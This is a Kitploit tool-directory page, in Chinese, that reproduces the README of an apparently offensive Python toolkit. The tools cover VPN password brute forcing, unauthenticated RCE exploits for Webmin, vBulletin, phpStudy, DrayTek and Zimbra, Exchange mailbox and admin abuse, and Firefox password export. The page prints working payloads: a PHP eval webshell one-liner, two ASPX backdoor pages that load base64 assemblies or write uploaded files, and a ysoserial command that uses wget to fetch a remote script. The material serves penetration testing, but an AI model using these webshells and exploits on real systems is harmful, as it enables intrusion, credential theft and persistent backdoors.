Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Homework-of-Python — Python codes of my blog. | Kitploit
工具/GitHubGitHub/3gstudent/homework-of-python
Vulnerability ScannersPassword AttacksExploitationWeb Application ExploitationInformation GatheringPost-ExploitationRed TeamingPayload Development
GitHub3gstudent/homework-of-python

Homework-of-Python

Python codes of my blog.

查看仓库
4121263年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Homework-of-Python

我博客中的 Python 代码。

pptp_password_hack.py

使用暴力破解攻击获取 PPTP VPN 的密码。

它会读取文件(名为 wordlist)中的密码,然后使用 pptpsetup 连接服务器。

时间间隔为 10 秒。


portscan.py

用于扫描端口。

超时时间为 3 秒。

C++ 版本:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp


urltoip.py

用于从 URL 获取 IP。

可以直接使用 Sublist3r 的结果。

file_deduplication(For_urltoip).py

用于去除 Sublist3r 结果中重复的 IP。

可以直接使用 urltoip.py 的结果。

可以使用 Sublime(F9) 对 IP 进行排序。


file_deduplication.py

用于去除文件中的重复项。

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107).py

参考:

https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html


fofa_api.py

用于调用 fofa 的 API 并从结果中输出 IP。

可以获得 100 条结果。

fofa_api_VIP.py

用于调用 fofa 的 API 并从结果中输出 IP。

如果你是 VIP,可以获得 10000 条结果。


vBulletin_5.x_0day_pre-auth_RCE.py

参考:

https://seclists.org/fulldisclosure/2019/Sep/31

示例:

root@kitploit:~
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php

phpStudy_5.2-5.45_(php_xmlrpc.dll)_backdoor_RCE.py

参考:

https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w

示例:

root@kitploit:~
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');

ExportFirefoxPassword.py

用于导出 Firefox 的密码

get_Exchange_version.py

用于获取 Exchange 的版本。

首先通过 URL 的源代码获取 BuildNumber,然后获取版本。

参考:

https://docs.microsoft.com/en-us/Exchange/new-features/build-numbers-and-release-dates?redirectedfrom=MSDN&view=exchserver-2019


SMBv3_RCE_Scanner(CVE-2020-0796).py

用于扫描 SMBv3 RCE 漏洞。

超时时间为 3 秒。


Unauthenticated_RCE_in_Draytek_Vigor2960\3900\300B.py

参考:

https://github.com/imjdl/CVE-2020-8515-PoC

CVE-2020-8515

DrayTek Vigor2960 1.3.1_Beta、Vigor3900 1.4.4_Beta 以及 Vigor300B 1.3.3_Beta、1.4.2.1_Beta 和 1.4.4_Beta 设备允许通过向 cgi-bin/mainfunction.cgi URI 发送 shell 元字符,以 root 身份(无需认证)执行远程代码。

受影响产品:

  • Vigor300B <v1.5.1
  • Vigor2960 <v1.5.1
  • Vigor3900 <v1.5.1

Zimbra_SOAP_API_Manage.py

使用 Zimbra SOAP API 连接 Zimbra 邮件服务器。

用法:

root@kitploit:~
      Zimbra_SOAP_API.py <url> <username> <password> <mode>

mode:

  • low 使用低权限令牌进行认证
  • admin 使用管理员令牌进行认证
  • ssrf 使用 CVE-2019-9621 获取管理员令牌

示例:

root@kitploit:~
      Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low

checkEWS.py

用于验证 Exchange Web Service 的有效账号(支持明文和 ntlmhash)

参考:https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py

用法:

root@kitploit:~
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash

示例:

root@kitploit:~
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1

checkAutodiscover.py

用于访问 Autodiscover.xml 并获取用户配置(支持明文和 ntlmhash)

用法:

root@kitploit:~
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx

示例:

root@kitploit:~
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting

checkAutodiscoverEx.py

checkAutodiscover.py 的附加模式

添加一个 参数

ewsManage.py

用于访问 Exchange Web Service(支持明文和 ntlmhash)

用法:

root@kitploit:~
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname


示例:

root@kitploit:~
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox

sshCheck.py

用于验证 SSH 的有效凭据(支持密码和私钥文件)

用法:

root@kitploit:~
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile

示例:

root@kitploit:~
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa

sshRunCmd

通过 SSH 执行远程命令(支持密码和私钥文件)

用法:

root@kitploit:~
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell

示例:

root@kitploit:~
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps

easCheck.py

用于验证 eas(Exchange Server ActiveSync)的有效凭据

用法:

root@kitploit:~
easCheck.py <host> <user> <password>

示例:

root@kitploit:~
easCheck.py 192.168.1.1 user1 password1

checkOWA.py

用于通过连接 OWA 验证 Exchange 的有效账号。

用法:

root@kitploit:~
checkOWA.py <url> <user> <password>

owaManage.py

用于通过连接 OWA 读取邮件。

用法:

root@kitploit:~
owaManage.py  <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment

imapManage.py

使用 IMAP 连接邮件服务器。

用法:

root@kitploit:~
imapManage.py <IMAP server> <username> <password> <command>    
<command>:
CheckConfig             get the folder name
SaveAttachOfInbox       save the attachments of Inbox
SaveAttachOfSent        save the attachments of Sent
DownloadAllMailOfInbox  download all the mails of Inbox
DownloadAllMailOfSent   download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig

aspxCmdNTLM.py

用于实现 NTLM 认证并与 execCmd.aspx 通信

通信数据使用 Base64 编码

用法:

root@kitploit:~
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami

SharpExchangeBackdoor.py

C# 版本:SharpExchangeBackdoor.cs

用于向 Exchange webshell 后门发送 payload。

支持:

  • assemblyLoad
  • webshellWrite

用法:

root@kitploit:~
    <url> <user> <password> <mode> <path>
mode:
    assemblyLoad
    webshellWrite

示例:

root@kitploit:~
    SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
    SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx

assemblyLoad.aspx:

root@kitploit:~
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>

webshellWrite.aspx:

root@kitploit:~
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>

Zimbra_deserialization_RCE(CVE-2019-6980).py

不安全的对象反序列化 - IMAP

用法:

root@kitploit:~
<url> <user> <password> <payload path>

示例:

root@kitploit:~
https://192.168.1.1 [email protected] password1 payload.obj

注意:

你可以像这样生成 payload.obj:

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj


ExchangeDeserializeShell-NoAuth-TextFormattingRunProperties.py

ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py

ExchangeDeserializeShell-NoAuth-ghostfile.py

用于测试 Exchange 的反序列化代码执行。
从 Exchange 文件的读写权限到反序列化代码执行。 你需要修改 %ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config 中的 machineKey 以实现反序列化代码执行。 <path>:owa 或 ecp

用法:

root@kitploit:~
    <url> <key> <path>

示例:

root@kitploit:~
 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
 mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp    

Exchange_EWS_XML_Parser.py

用于解析 Exchange SOAP XML 消息。


eacManage.py

用于访问 Exchange 管理中心

用法:

root@kitploit:~
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox          
- GetCertificate 
- ExportCertificate          
          

vSphereAutomationAPI_Manage.py

使用 vSphere Automation API(v7.0U1+)管理虚拟机

支持 Windows 和 Linux 虚拟机

vSphereWebServicesAPI_Manage.py

使用 vSphere Web Services API 管理虚拟机

参考:https://github.com/vmware/pyvmomi/

安装:pip install --upgrade pyvmomi

vCenterLDAP_Manage.py

用于管理 vCenter 上的 LDAP 数据库。


SolarWindsOrion_Manage.py

用于管理 SolarWinds Orion 平台

SolarWindsOrionAPI_Manage.py

使用 SolarWinds Orion API 管理 Orion 平台


MailEnableManage.py

用于管理 MailEnable 邮件服务器


blind_XXEPlatform_CVE-2019-9670.py

支持通过 HTTP 或 FTP 协议接收结果。


ewsManage_Downloader.py

用于访问 Exchange Web Service(支持明文和 ntlmhash)

ewsManage_exchangelib_Downloader.py

用于访问 Exchange Web Service(支持明文和 ntlmhash)

ewsManage_requests_ntlm_Downloader.py

使用 requests_ntlm2 访问 Exchange Web Service(支持明文和 ntlmhash)

ewsManage_requests_ntlm_Session_Downloader.py

使用 requests_ntlm2 访问 Exchange Web Service(支持明文和 ntlmhash)

使用 session 减少通信数据


vCenter_ExtraCertFromMdb.py

修改自 https://github.com/horizon3ai/vcenter_saml_login

vCenter_GenerateLoginCookie.py

修改自 https://github.com/horizon3ai/vcenter_saml_login


Exchange_GetVersion_MatchVul.py

用于获取 Exchange 的版本并匹配已知漏洞

Exchange_GetVersion_ParseFromFile.py

用于获取 Exchange 的版本,并从 https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 解析版本

你应该将 https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 保存为 exchange.data

Exchange_GetVersion_ParseFromWebsite.py

用于获取 Exchange 的版本,并从 https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 解析版本


Exchange_GetInternalIP.py

用于获取 Exchange 的内网 IP

基于 msf auxiliary/scanner/http/owa_iis_internal_ip,但支持更多 Exchange 服务器。


vRealizeOperationsManager_GetVersion.py

用于获取 vRealize Operations Manager 的版本


BIG-IP_RunBash.py

使用 bash 运行命令


SophosUTM_plxDecrypter.py

用于解密 Sophos UTM 的 .plx 文件

参考:

https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223

https://github.com/the6p4c/bfs_extract

SophosUTM_ConfigParser.py

用于解析 Sophos UTM 的配置


下载工具